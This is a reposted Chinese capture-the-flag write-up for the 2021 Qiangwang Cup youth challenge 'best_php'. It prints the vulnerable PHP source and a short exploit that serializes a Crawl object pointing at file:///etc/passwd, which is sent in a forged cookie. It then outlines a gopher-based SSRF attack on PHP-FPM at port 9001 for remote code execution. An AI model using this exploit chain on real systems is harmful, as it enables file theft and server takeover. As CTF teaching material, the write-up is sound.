[2021强网杯青少年]ssrf+fpm

Posted huamanggg

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了[2021强网杯青少年]ssrf+fpm相关的知识,希望对你有一定的参考价值。

best_php

<?php
highlight_file(__FILE__);
//like fpm?
class Crawl{
    public $url;
    function __construct($url){
        if(substr($url,0,7)==="http://"){
            $this->url = $url;
        }else{
            $this->url = "http://127.0.0.1/";
        }
    }
    public function curl($url){  
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_HEADER, 0);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        $result=curl_exec($ch);
        curl_close($ch);
        echo $result;
    }
    
    function __destruct(){
        $this->curl($this->url);
    }
}

if($_COOKIE["login"]=='1'){
    unserialize($_COOKIE["crawldata"]);
}else{
    if(isset($_GET["url"])){
        $crl = new Crawl($_GET["url"]);
    }else{
        echo "no";
    }
}

直接改cookie就可以了

<?php

class Crawl
{
    public $url;

    function __construct($url){
        $this->url = 'file:///etc/passwd';
    }
}
$s = new Crawl('xxx');
echo urlencode(serialize($s)

可以直接读取文件

但是问题就是不知道flag的名字
这里看到提示fpm,猜测是fpm配合ssrf进行rce
看配置文件
一开始试了7.0发现没有,试到7.2出现了配置文件
/etc/php/7.2/fpm/pool.d/www.conf
的确满足了条件,监听了9001端口

用工具生成gopher协议去rce
注意修改端口为9001

成功rce了,找到flag名字

然后用file协议读取就好了
参考链接

以上是关于[2021强网杯青少年]ssrf+fpm的主要内容,如果未能解决你的问题,请参考以下文章

第五届“强网杯”全国网络安全挑战赛 - 青少年专项赛 crypto

2021强网杯[强网先锋]赌徒

2021强网杯全国网络安全挑战赛Writeup

强强联手:2021强网杯LongTimeAgo复盘分析

2021强网杯Write-Up真题解析之WEB部分(暴力干货,建议收藏)

2021强网杯 Web寻宝 WP